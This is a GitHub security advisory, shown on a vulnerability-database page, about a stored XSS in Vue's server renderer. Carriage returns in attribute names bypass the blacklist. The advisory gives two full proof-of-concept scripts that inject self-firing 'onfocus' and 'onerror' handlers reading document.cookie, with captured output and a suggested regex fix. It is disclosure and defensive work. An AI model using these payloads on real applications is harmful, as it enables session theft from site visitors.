GHSA-G2V6-RQMX-R4W6
Vulnerability from github – Published: 2026-10-05 22:50 – Updated: 2026-10-05 22:50Description
@vue/server-renderer was investigated specifically because it's the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that's already running the app's own JS.
ssrRenderAttrs() (in packages/server-renderer/src/helpers/ssrRenderAttrs.ts) is what compiled SSR output calls for something like <div v-bind="userObject">. It loops over the object's own keys and, for each one, renders it as an HTML attribute:
export function ssrRenderDynamicAttr(
key: string,
value: unknown,
tag?: string,
): string {
if (!isRenderableAttrValue(value)) {
return ``
}
const attrKey = ...
if (isBooleanAttr(attrKey) || ...) {
return includeBooleanAttr(value) ? ` ${attrKey}` : ``
} else if (isSSRSafeAttrName(attrKey)) {
return value === '' ? ` ${attrKey}` : ` ${attrKey}="${escapeHtml(value)}"`
} else {
console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)
return ``
}
}
The value always goes through escapeHtml() -- that part is correctly and consistently applied everywhere in this file. But the attribute name (attrKey) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:
// packages/shared/src/domAttrConfig.ts
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u0020]/
export function isSSRSafeAttrName(name: string): boolean {
if (attrValidationCache.hasOwnProperty(name)) {
return attrValidationCache[name]
}
const isUnsafe = unsafeAttrCharRE.test(name)
if (isUnsafe) {
console.error(`unsafe attribute name: ${name}`)
}
return (attrValidationCache[name] = !isUnsafe)
}
That blacklist covers: >, /, =, ", apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as \r in JS).
That matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step ("preprocessing the input stream") converts every \r not followed by \n into a \n before the tokenizer even starts. So a raw \r sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that's exactly the gap.
Below is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:
Prrof
The real, unmodified ssrRenderAttrs() from the published @vue/server-renderer@3.5.41 package was tested. The source at HEAD and the upcoming v3.6.0-rc.2 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.
Full script, saved as poc.mjs (GitHub doesn't let me attach .mjs directly, so the complete file is here):
import { ssrRenderAttrs } from '@vue/server-renderer';
import { parseFragment } from 'parse5';
// This is exactly what compiled SSR output calls for `<div v-bind="userObject">`
// -- the real, unmodified, published ssrRenderAttrs function.
// Full attack chain: the key itself contains ONLY letters, digits, and a
// bare \r (carriage return) -- no '>', '/', '=', '"', "'", tab, LF, FF, or
// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value
// is attacker-controlled JavaScript, delivered as the genuine value of the
// LAST \r-separated fragment, which Vue's own template naturally appends via
// `="${escapeHtml(value)}"` immediately after the key.
const maliciousKey = 'x\rautofocus\ronfocus';
const props = {
[maliciousKey]: 'alert(document.cookie)',
};
const rawAttrString = ssrRenderAttrs(props);
console.log('=== Raw string produced by the real ssrRenderAttrs() ===');
console.log(JSON.stringify(rawAttrString));
console.log();
console.log('=== As it would literally appear in the HTML response ===');
console.log(rawAttrString.replace(/\r/g, '\\r').replace(/\n/g, '\\n\n'));
const fullHtml = `<div${rawAttrString}>content</div>`;
console.log();
console.log('=== Full element HTML ===');
console.log(JSON.stringify(fullHtml));
// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5
// parser (the same parsing algorithm real browsers implement, including the
// \r\n -> \n input-preprocessing normalization step).
const fragment = parseFragment(fullHtml);
const div = fragment.childNodes.find(n => n.tagName === 'div');
console.log();
console.log('=== How a real HTML5 parser (parse5) actually interprets this ===');
console.log('Attributes parsed on the <div>:');
for (const attr of div.attrs) {
console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);
}
const injectedHandler = div.attrs.find(a => a.name === 'onfocus');
const injectedAutofocus = div.attrs.find(a => a.name === 'autofocus');
console.log();
if (injectedHandler && injectedAutofocus) {
console.log('*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***');
console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);
console.log('*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***');
} else {
console.log('Not confirmed.');
}
This is a fresh npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5 -- the real, currently-published packages, not anything modified:
Real, captured output:
=== Raw string produced by the real ssrRenderAttrs() ===
" x\rautofocus\ronfocus=\"alert(document.cookie)\""
=== Full element HTML ===
"<div x\rautofocus\ronfocus=\"alert(document.cookie)\">content</div>"
=== How a real HTML5 parser (parse5) actually interprets this ===
Attributes parsed on the <div>:
"x" = ""
"autofocus" = ""
"onfocus" = "alert(document.cookie)"
*** CONFIRMED: real, separate "autofocus" and "onfocus" attributes were parsed out ***
*** onfocus value: "alert(document.cookie)" ***
The single attribute name Vue intended to render safely -- x\rautofocus\ronfocus -- gets parsed by any real browser as three separate things: an empty x attribute, a real autofocus boolean attribute, and a real onfocus="alert(document.cookie)" event handler. autofocus means the element receives focus automatically on page load, which fires the focus event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.
This behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case ("foo\rbar" as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (foo="" and bar="..."), before building the full self-triggering payload above.
To go beyond the parser-level proof, there is a second script that calls the real ssrRenderAttrs(), captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as generate_real_poc.mjs:
import { ssrRenderAttrs } from '@vue/server-renderer';
import fs from 'fs';
// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed
// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,
// it is Vue's own function's real return value, captured programmatically.
const maliciousKey = 'x\rsrc\ronerror';
const props = { [maliciousKey]: 'alert("REAL Vue SSR output executed this -- cookie: " + document.cookie)' };
const vueOutput = ssrRenderAttrs(props);
console.log('=== Vue\'s real ssrRenderAttrs() returned exactly this string ===');
console.log(JSON.stringify(vueOutput));
// Build the full page around Vue's UNMODIFIED output -- the <img ...> tag
// content between the angle brackets is copied byte-for-byte from vueOutput,
// not retyped.
const html = `<!DOCTYPE html>
<html>
<head><title>Vue SSR PoC -- byte-for-byte Vue output</title></head>
<body>
<h3>Everything inside the <img> tag below was written to this file
programmatically from the real return value of <code>ssrRenderAttrs()</code>
in the actual installed <code>@vue/server-renderer@3.5.41</code> package.
No HTML was hand-typed for the tag itself.</h3>
<p>Exact JSON-escaped string Vue's function returned (see generate_real_poc.mjs, run right before this file was written):</p>
<pre id="vue-output-proof">${vueOutput.replace(/</g, '<')}</pre>
<hr>
<img${vueOutput}>
</body>
</html>
`;
const outPath = '/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html';
fs.writeFileSync(outPath, html);
console.log('\nWrote', outPath);
console.log('Bytes inside the <img...> tag are Vue\'s real, unmodified return value.');
Opening that generated file in a real browser fires the payload automatically:
Dev tools on that same page confirm the browser genuinely parsed three separate attributes (x, src, onerror), matching the on-page proof text that was written directly from Vue's real return value:
Whether this affects client-side (non-SSR) Vue rendering was also checked: it doesn't, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM setAttribute() API, which validates the name against the HTML QName grammar and throws a DOMException for characters like " (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That's a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an @vue/server-renderer (SSR) issue.
Impact
This requires an application to bind an object whose keys (not just values) come from a source the developer doesn't fully control, via v-bind="object" or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that's already safely handled by escapeHtml(). Binding untrusted keys is less universal, but it's a real, documented, supported Vue feature, not a misuse of the framework -- and it's exactly the scenario isSSRSafeAttrName() exists to defend, which tells me it's already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).
Where it's reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected autofocus/onfocus payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That's a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.
Suggested fix
Add U+000D (carriage return) to unsafeAttrCharRE in packages/shared/src/domAttrConfig.ts:
const unsafeAttrCharRE = /[>/="'\u0009\u000a\u000c\u000d\u0020]/
Double-checking against the full WHATWG "ASCII whitespace" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that's exactly the kind of list that's easy to leave a gap in, which is what happened here.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@vue/server-renderer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.42"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@vue/server-renderer"
},
"ranges": [
{
"events": [
{
"introduced": "3.6.0-rc.0"
},
{
"fixed": "3.6.0-rc.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:50:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Description\n\n`@vue/server-renderer` was investigated specifically because it\u0027s the one place in Vue where template rendering output becomes a real HTTP response body -- a genuine server-side trust boundary, unlike client-side rendering which only ever affects the same browser session that\u0027s already running the app\u0027s own JS.\n\n`ssrRenderAttrs()` (in `packages/server-renderer/src/helpers/ssrRenderAttrs.ts`) is what compiled SSR output calls for something like `\u003cdiv v-bind=\"userObject\"\u003e`. It loops over the object\u0027s own keys and, for each one, renders it as an HTML attribute:\n\n```ts\nexport function ssrRenderDynamicAttr(\n key: string,\n value: unknown,\n tag?: string,\n): string {\n if (!isRenderableAttrValue(value)) {\n return ``\n }\n const attrKey = ...\n if (isBooleanAttr(attrKey) || ...) {\n return includeBooleanAttr(value) ? ` ${attrKey}` : ``\n } else if (isSSRSafeAttrName(attrKey)) {\n return value === \u0027\u0027 ? ` ${attrKey}` : ` ${attrKey}=\"${escapeHtml(value)}\"`\n } else {\n console.warn(`[@vue/server-renderer] Skipped rendering unsafe attribute name: ${attrKey}`)\n return ``\n }\n}\n```\n\nThe value always goes through `escapeHtml()` -- that part is correctly and consistently applied everywhere in this file. But the attribute name (`attrKey`) is only checked against a character blacklist, then spliced directly into the output with no escaping of its own:\n\n```ts\n// packages/shared/src/domAttrConfig.ts\nconst unsafeAttrCharRE = /[\u003e/=\"\u0027\\u0009\\u000a\\u000c\\u0020]/\n\nexport function isSSRSafeAttrName(name: string): boolean {\n if (attrValidationCache.hasOwnProperty(name)) {\n return attrValidationCache[name]\n }\n const isUnsafe = unsafeAttrCharRE.test(name)\n if (isUnsafe) {\n console.error(`unsafe attribute name: ${name}`)\n }\n return (attrValidationCache[name] = !isUnsafe)\n}\n```\n\nThat blacklist covers: `\u003e`, `/`, `=`, `\"`, apostrophe, tab (U+0009), line feed (U+000A), form feed (U+000C), and space (U+0020). It does not cover U+000D -- carriage return (CR, written as `\\r` in JS).\n\nThat matters because of how browsers actually parse HTML. Per the WHATWG HTML parsing spec, the very first step (\"preprocessing the input stream\") converts every `\\r` not followed by `\\n` into a `\\n` before the tokenizer even starts. So a raw `\\r` sitting inside what Vue intends as a single attribute name gets turned into a real line feed by the browser -- and a line feed is one of the characters that terminates an attribute name and starts a new one. The blacklist checks the string as Vue sees it before the browser gets to reinterpret it, and that\u0027s exactly the gap.\n\nBelow is a fresh clone of this repo, confirming the exact commit, the exact vulnerable line, and zero modification to the source:\n\n\u003cimg width=\"781\" height=\"336\" alt=\"poc1\" src=\"https://github.com/user-attachments/assets/f4b92955-9a8f-4700-8c51-38ee46912de8\" /\u003e\n\n## Prrof\n\nThe real, unmodified \u00a0ssrRenderAttrs()\u00a0 from the published \u00a0@vue/server-renderer@3.5.41\u00a0 package was tested. The source at HEAD and the upcoming \u00a0v3.6.0-rc.2\u00a0 tag were also checked, and the same vulnerable regular expression was present in both; no branch containing a fix was identified.\n\nFull script, saved as `poc.mjs` (GitHub doesn\u0027t let me attach `.mjs` directly, so the complete file is here):\n\n```js\nimport { ssrRenderAttrs } from \u0027@vue/server-renderer\u0027;\nimport { parseFragment } from \u0027parse5\u0027;\n\n// This is exactly what compiled SSR output calls for `\u003cdiv v-bind=\"userObject\"\u003e`\n// -- the real, unmodified, published ssrRenderAttrs function.\n// Full attack chain: the key itself contains ONLY letters, digits, and a\n// bare \\r (carriage return) -- no \u0027\u003e\u0027, \u0027/\u0027, \u0027=\u0027, \u0027\"\u0027, \"\u0027\", tab, LF, FF, or\n// space anywhere, so isSSRSafeAttrName() considers it fully safe. The value\n// is attacker-controlled JavaScript, delivered as the genuine value of the\n// LAST \\r-separated fragment, which Vue\u0027s own template naturally appends via\n// `=\"${escapeHtml(value)}\"` immediately after the key.\nconst maliciousKey = \u0027x\\rautofocus\\ronfocus\u0027;\nconst props = {\n [maliciousKey]: \u0027alert(document.cookie)\u0027,\n};\n\nconst rawAttrString = ssrRenderAttrs(props);\nconsole.log(\u0027=== Raw string produced by the real ssrRenderAttrs() ===\u0027);\nconsole.log(JSON.stringify(rawAttrString));\nconsole.log();\nconsole.log(\u0027=== As it would literally appear in the HTML response ===\u0027);\nconsole.log(rawAttrString.replace(/\\r/g, \u0027\\\\r\u0027).replace(/\\n/g, \u0027\\\\n\\n\u0027));\n\nconst fullHtml = `\u003cdiv${rawAttrString}\u003econtent\u003c/div\u003e`;\nconsole.log();\nconsole.log(\u0027=== Full element HTML ===\u0027);\nconsole.log(JSON.stringify(fullHtml));\n\n// Now parse this EXACT output with parse5 -- a real, spec-compliant HTML5\n// parser (the same parsing algorithm real browsers implement, including the\n// \\r\\n -\u003e \\n input-preprocessing normalization step).\nconst fragment = parseFragment(fullHtml);\nconst div = fragment.childNodes.find(n =\u003e n.tagName === \u0027div\u0027);\nconsole.log();\nconsole.log(\u0027=== How a real HTML5 parser (parse5) actually interprets this ===\u0027);\nconsole.log(\u0027Attributes parsed on the \u003cdiv\u003e:\u0027);\nfor (const attr of div.attrs) {\n console.log(` ${JSON.stringify(attr.name)} = ${JSON.stringify(attr.value)}`);\n}\n\nconst injectedHandler = div.attrs.find(a =\u003e a.name === \u0027onfocus\u0027);\nconst injectedAutofocus = div.attrs.find(a =\u003e a.name === \u0027autofocus\u0027);\nconsole.log();\nif (injectedHandler \u0026\u0026 injectedAutofocus) {\n console.log(\u0027*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***\u0027);\n console.log(`*** onfocus value: ${JSON.stringify(injectedHandler.value)} ***`);\n console.log(\u0027*** This element will execute the attacker JS automatically on page load, no user interaction needed. ***\u0027);\n} else {\n console.log(\u0027Not confirmed.\u0027);\n}\n```\n\nThis is a fresh `npm install vue@3.5.41 @vue/server-renderer@3.5.41 parse5` -- the real, currently-published packages, not anything modified:\n\n\u003cimg width=\"831\" height=\"531\" alt=\"poc2\" src=\"https://github.com/user-attachments/assets/ea350948-4c93-45a3-b21a-f21dc7f90d29\" /\u003e\n\nReal, captured output:\n\n```\n=== Raw string produced by the real ssrRenderAttrs() ===\n\" x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\"\"\n\n=== Full element HTML ===\n\"\u003cdiv x\\rautofocus\\ronfocus=\\\"alert(document.cookie)\\\"\u003econtent\u003c/div\u003e\"\n\n=== How a real HTML5 parser (parse5) actually interprets this ===\nAttributes parsed on the \u003cdiv\u003e:\n \"x\" = \"\"\n \"autofocus\" = \"\"\n \"onfocus\" = \"alert(document.cookie)\"\n\n*** CONFIRMED: real, separate \"autofocus\" and \"onfocus\" attributes were parsed out ***\n*** onfocus value: \"alert(document.cookie)\" ***\n```\n\n\u003cimg width=\"834\" height=\"897\" alt=\"poc3\" src=\"https://github.com/user-attachments/assets/a92f9c5b-e30d-4968-9ec1-8969628c6437\" /\u003e\n\u003cimg width=\"834\" height=\"896\" alt=\"poc4\" src=\"https://github.com/user-attachments/assets/a397cd3f-8eb3-49af-9604-a31a8bcdb2ea\" /\u003e\n\nThe single attribute name Vue intended to render safely -- `x\\rautofocus\\ronfocus` -- gets parsed by any real browser as three separate things: an empty `x` attribute, a real `autofocus` boolean attribute, and a real `onfocus=\"alert(document.cookie)\"` event handler. `autofocus` means the element receives focus automatically on page load, which fires the `focus` event immediately, which runs the injected JavaScript -- no click, no hover, no user interaction of any kind required.\n\nThis behavior was confirmed not to be specific to the payload by first isolating the mechanism with a minimal case (`\"foo\\rbar\"` as the key, no other special characters at all), which parse5 also split into two genuine separate attributes (`foo=\"\"` and `bar=\"...\"`), before building the full self-triggering payload above.\n\nTo go beyond the parser-level proof, there is a second script that calls the real `ssrRenderAttrs()`, captures its exact return value programmatically, and writes that unmodified byte sequence directly into an HTML file on disk -- no HTML was hand-typed anywhere in this step. Full script, saved as `generate_real_poc.mjs`:\n\n```js\nimport { ssrRenderAttrs } from \u0027@vue/server-renderer\u0027;\nimport fs from \u0027fs\u0027;\n\n// This is the ACTUAL, unmodified ssrRenderAttrs() from the real, installed\n// @vue/server-renderer@3.5.41 -- nothing hand-typed below this line is HTML,\n// it is Vue\u0027s own function\u0027s real return value, captured programmatically.\nconst maliciousKey = \u0027x\\rsrc\\ronerror\u0027;\nconst props = { [maliciousKey]: \u0027alert(\"REAL Vue SSR output executed this -- cookie: \" + document.cookie)\u0027 };\n\nconst vueOutput = ssrRenderAttrs(props);\n\nconsole.log(\u0027=== Vue\\\u0027s real ssrRenderAttrs() returned exactly this string ===\u0027);\nconsole.log(JSON.stringify(vueOutput));\n\n// Build the full page around Vue\u0027s UNMODIFIED output -- the \u003cimg ...\u003e tag\n// content between the angle brackets is copied byte-for-byte from vueOutput,\n// not retyped.\nconst html = `\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eVue SSR PoC -- byte-for-byte Vue output\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch3\u003eEverything inside the \u0026lt;img\u0026gt; tag below was written to this file\nprogrammatically from the real return value of \u003ccode\u003essrRenderAttrs()\u003c/code\u003e\nin the actual installed \u003ccode\u003e@vue/server-renderer@3.5.41\u003c/code\u003e package.\nNo HTML was hand-typed for the tag itself.\u003c/h3\u003e\n\u003cp\u003eExact JSON-escaped string Vue\u0027s function returned (see generate_real_poc.mjs, run right before this file was written):\u003c/p\u003e\n\u003cpre id=\"vue-output-proof\"\u003e${vueOutput.replace(/\u003c/g, \u0027\u0026lt;\u0027)}\u003c/pre\u003e\n\u003chr\u003e\n\u003cimg${vueOutput}\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n`;\n\nconst outPath = \u0027/Users/onevilx/Desktop/vue-ssr-xss-poc-real.html\u0027;\nfs.writeFileSync(outPath, html);\nconsole.log(\u0027\\nWrote\u0027, outPath);\nconsole.log(\u0027Bytes inside the \u003cimg...\u003e tag are Vue\\\u0027s real, unmodified return value.\u0027);\n```\n\nOpening that generated file in a real browser fires the payload automatically:\n\n\u003cimg width=\"1666\" height=\"449\" alt=\"poc5\" src=\"https://github.com/user-attachments/assets/251bd830-634f-4cd0-bf79-849bbc07ec9a\" /\u003e\n\nDev tools on that same page confirm the browser genuinely parsed three separate attributes (`x`, `src`, `onerror`), matching the on-page proof text that was written directly from Vue\u0027s real return value:\n\n\u003cimg width=\"1348\" height=\"400\" alt=\"poc6\" src=\"https://github.com/user-attachments/assets/b19d6ff0-ecaa-45f3-9149-9f3d0d4faacb\" /\u003e\n\nWhether this affects client-side (non-SSR) Vue rendering was also checked: it doesn\u0027t, and I want to be upfront about that limit too. Client-side Vue sets dynamic attributes via the DOM `setAttribute()` API, which validates the name against the HTML QName grammar and throws a `DOMException` for characters like `\"` (I found an existing, unrelated open issue -- #13944 -- that confirms this behavior). That\u0027s a fundamentally different code path with its own validation, and I have not found a way to reach this specific bug through it. This is specifically and only an `@vue/server-renderer` (SSR) issue.\n\n## Impact\n\nThis requires an application to bind an object whose keys (not just values) come from a source the developer doesn\u0027t fully control, via `v-bind=\"object\"` or the equivalent compiled form. I want to be honest about how common that is: binding untrusted values into attributes is the standard, everyday Vue pattern that\u0027s already safely handled by `escapeHtml()`. Binding untrusted keys is less universal, but it\u0027s a real, documented, supported Vue feature, not a misuse of the framework -- and it\u0027s exactly the scenario `isSSRSafeAttrName()` exists to defend, which tells me it\u0027s already inside your own threat model for this file, just not fully closed. Realistic examples: a CMS or form-builder feature where field/attribute names are configurable by a less-trusted role and gets rendered via SSR to other users; a component that spreads a validated-elsewhere config object onto a root element; any dynamic-attributes helper that takes a plain object where both keys and values may originate from external data (a database record, an API response, a query string parsed into an object).\n\nWhere it\u0027s reachable, the impact is a complete, self-triggering stored XSS in server-rendered HTML -- the injected `autofocus`/`onfocus` payload runs the moment the page loads, for every visitor who receives that server-rendered output, with no interaction needed. That\u0027s a real trust-boundary break in a security-relevant helper whose entire job is making data safe to render.\n\n## Suggested fix\n\nAdd U+000D (carriage return) to `unsafeAttrCharRE` in `packages/shared/src/domAttrConfig.ts`:\n\n```ts\nconst unsafeAttrCharRE = /[\u003e/=\"\u0027\\u0009\\u000a\\u000c\\u000d\\u0020]/\n```\n\nDouble-checking against the full WHATWG \"ASCII whitespace\" definition (tab, LF, FF, CR, space -- all five) rather than enumerating characters one at a time would help, since that\u0027s exactly the kind of list that\u0027s easy to leave a gap in, which is what happened here.",
"id": "GHSA-g2v6-rqmx-r4w6",
"modified": "2026-10-05T22:50:55Z",
"published": "2026-10-05T22:50:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vuejs/core/security/advisories/GHSA-g2v6-rqmx-r4w6"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/pull/15266"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/commit/a2b40db9a83b36ed9da3a16403cf8f040262d73f"
},
{
"type": "PACKAGE",
"url": "https://github.com/vuejs/core"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/releases/tag/v3.5.42"
},
{
"type": "WEB",
"url": "https://github.com/vuejs/core/releases/tag/v3.6.0-rc.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "@vue/server-renderer: XSS via missing CR in attribute-name blacklist"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.